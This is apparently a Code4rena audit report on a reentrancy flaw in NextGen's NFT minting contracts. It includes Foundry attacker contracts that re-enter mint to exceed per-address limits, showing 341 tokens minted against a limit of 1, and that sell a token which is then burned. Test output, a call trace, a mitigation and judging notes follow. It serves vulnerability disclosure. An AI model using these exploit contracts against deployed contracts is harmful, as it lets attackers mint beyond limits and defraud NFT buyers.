Usage of _safeMint in NextGenCore@_mintProcessing allows an attacker to reenter when onERC721Received is called

[captainmangoC4]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227-L232
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L213-L223
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189-L200
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L270

Vulnerability details

Impact

An attacker can :

• Exceed the per address allowance in Fixed Price Sale, Exponential Descending Sale and Linear Descending Sale modes.
• Cause a loss for another user in Burn-to-Mint mode by accepting an offer when onERC721Received is triggered.

Proof of Concept

Test Setup

Init

forge init --no-git --force

foundry.toml config

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/IERC721Receiver.sol";
import "../smart-contracts/AuctionDemo.sol";

contract ReentrantMinter is IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        bytes32[] memory proof;

        operator.call(
            abi.encodeCall(
                NextGenMinterContract.mint,
                (1, 1, 0, "", address(this), proof, address(0), 0)
            )
        );

        return IERC721Receiver.onERC721Received.selector;
    }
}

contract ReentrantSeller is IERC721Receiver {
    address _coreContract;
    address _buyer;
    uint256 _burntToken;

    constructor(address coreContract) {
        _coreContract = coreContract;
    }

    function exploit(address target, address buyer, uint256 tokenId) external {
        _burntToken = tokenId;
        _buyer = buyer;

        target.call(
            abi.encodeCall(
                NextGenMinterContract.burnToMint,
                (1, tokenId, 2, 0)
            )
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        // Simulate sale
        if (_buyer != address(0) && _burntToken != tokenId) {
            _coreContract.call(
                abi.encodeCall(
                    ERC721.transferFrom,
                    (address(this), _buyer, _burntToken)
                )
            );

            _buyer = address(0);
            _burntToken = 0;
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}

contract MinterContractTest is Test {
    NextGenMinterContract public minterContract;
    NextGenAdmins public adminsContract;
    NextGenCore public coreContract;

    DelegationManagementContract public nftDelegationContract;
    NextGenRandomizerNXT public randomizerContract;
    randomPool public randomsContract;

    auctionDemo public auctionContract;

    function setUp() public {
        vm.warp(365 days);
        randomsContract = new randomPool();
        nftDelegationContract = new DelegationManagementContract();
        adminsContract = new NextGenAdmins();
        coreContract = new NextGenCore("Test", "TEST", address(adminsContract));
        minterContract = new NextGenMinterContract(
            address(coreContract),
            address(nftDelegationContract),
            address(adminsContract)
        );
        randomizerContract = new NextGenRandomizerNXT(
            address(randomsContract),
            address(adminsContract),
            address(coreContract)
        );
        coreContract.addMinterContract(address(minterContract));
        auctionContract = new auctionDemo(
            address(minterContract),
            address(coreContract),
            address(adminsContract)
        );

        string[] memory scripts;

        coreContract.createCollection(
            "Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.createCollection(
            "Burn to Mint Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0);
        coreContract.setCollectionData(2, vm.addr(1), 1, 999, 0);

        coreContract.addRandomizer(1, address(randomizerContract));
        coreContract.addRandomizer(2, address(randomizerContract));

        minterContract.initializeBurn(1, 2, true);

        minterContract.setCollectionCosts(
            1,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionCosts(
            2,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionPhases(
            1,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );

        minterContract.setCollectionPhases(
            2,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );
    }

    function testReentrantMint() public {
        ReentrantMinter reentrantMinter = new ReentrantMinter();

        bytes32[] memory proof;

        minterContract.mint(
            1,
            1,
            0,
            "",
            address(reentrantMinter),
            proof,
            address(0),
            0
        );

        assertEq(coreContract.balanceOf(address(reentrantMinter)), 1, "Minted more than allowed");
    }

    function testReentrantSell() public {
        ReentrantSeller reentrantSeller = new ReentrantSeller(address(coreContract));

        bytes32[] memory proof;

        minterContract.mint(
            1,
            1,
            0,
            "",
            address(reentrantSeller),
            proof,
            address(0),
            0
        );

        assertEq(coreContract.balanceOf(address(reentrantSeller)), 1);

        reentrantSeller.exploit(address(minterContract), vm.addr(4), 10000000000);

        assertEq(coreContract.balanceOf(vm.addr(4)), 1, "Token was burned for the buyer");
    }
}

Results

[⠘] Compiling...
No files changed, compilation skipped

Running 2 tests for test/MinterContract.t.sol:MinterContractTest
[FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541)
Logs:
  Error: Minted more than allowed
  Error: a == b not satisfied [uint]
        Left: 341
       Right: 1

[FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607)
Logs:
  Error: Token was burned for the buyer
  Error: a == b not satisfied [uint]
        Left: 0
       Right: 1

Test result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 114.33ms
 
Ran 1 test suites: 0 tests passed, 2 failed, 0 skipped (2 total tests)

Failing tests:
Encountered 2 failing tests in test/MinterContract.t.sol:MinterContractTest
[FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541)
[FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607)

Encountered a total of 2 failing tests, 0 tests succeeded

Traces

This shows how the token to be burned is transferred to the buyer in the sale simulation then burned afterwards.

    ├─ [304366] ReentrantSeller::exploit(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) 
    │   ├─ [269503] NextGenMinterContract::burnToMint(1, 10000000000 [1e10], 2, 0) 
    │   │   ├─ [555] NextGenCore::viewTokensIndexMin(1) [staticcall]
    │   │   │   └─ ← 10000000000 [1e10]
    │   │   ├─ [534] NextGenCore::viewTokensIndexMax(1) [staticcall]
    │   │   │   └─ ← 10000000998 [1e10]
    │   │   ├─ [2534] NextGenCore::viewCirSupply(2) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [2555] NextGenCore::viewTokensIndexMin(2) [staticcall]
    │   │   │   └─ ← 20000000000 [2e10]
    │   │   ├─ [2534] NextGenCore::viewTokensIndexMax(2) [staticcall]
    │   │   │   └─ ← 20000000998 [2e10]
    │   │   ├─ [534] NextGenCore::viewCirSupply(2) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [555] NextGenCore::viewTokensIndexMin(2) [staticcall]
    │   │   │   └─ ← 20000000000 [2e10]
    │   │   ├─ [247071] NextGenCore::burnToMint(20000000000 [2e10], 1, 10000000000 [1e10], 2, 0, ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) 
    │   │   │   ├─ [37223] NextGenRandomizerNXT::calculateTokenHash(2, 20000000000 [2e10], 0) 
    │   │   │   │   ├─ [558] randomPool::randomNumber() [staticcall]
    │   │   │   │   │   └─ ← 571
    │   │   │   │   ├─ [8912] randomPool::randomWord() [staticcall]
    │   │   │   │   │   └─ ← Pawpaw
    │   │   │   │   ├─ [24851] NextGenCore::setTokenHash(2, 20000000000 [2e10], 0xc1c05d04c3dea68a6d0a0a90357a1f5369f155b8646b6261e3346c6fd4db4437) 
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← ()
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenId: 20000000000 [2e10])
    │   │   │   ├─ [44464] ReentrantSeller::onERC721Received(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000000, 20000000000 [2e10], 0x) 
    │   │   │   │   ├─ [42544] NextGenCore::transferFrom(ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) 
    │   │   │   │   │   ├─ emit Transfer(from: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenId: 10000000000 [1e10])
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← 0x150b7a02
    │   │   │   ├─ emit Transfer(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, to: 0x0000000000000000000000000000000000000000, tokenId: 10000000000 [1e10])
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()

Tools Used

Manual review

Recommended Mitigation Steps

Follow the Checks / Effects / Interactions pattern (.e.g update tokensMintedAllowlistAddress/tokensMintedPerAddress before calling _mintProcessing) / add ReentrancyGuard.

Assessed type

Reentrancy

[captainmangoC4]

Issue created on behalf of judge in order to split into 2 findings

[c4-judge]

alex-ppg marked the issue as duplicate of #1517

[alex-ppg]

The submission was split as it combines #1597 and #1517. Due to an insufficient recommendation chapter, I have opted to award it 50% of both submissions.

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)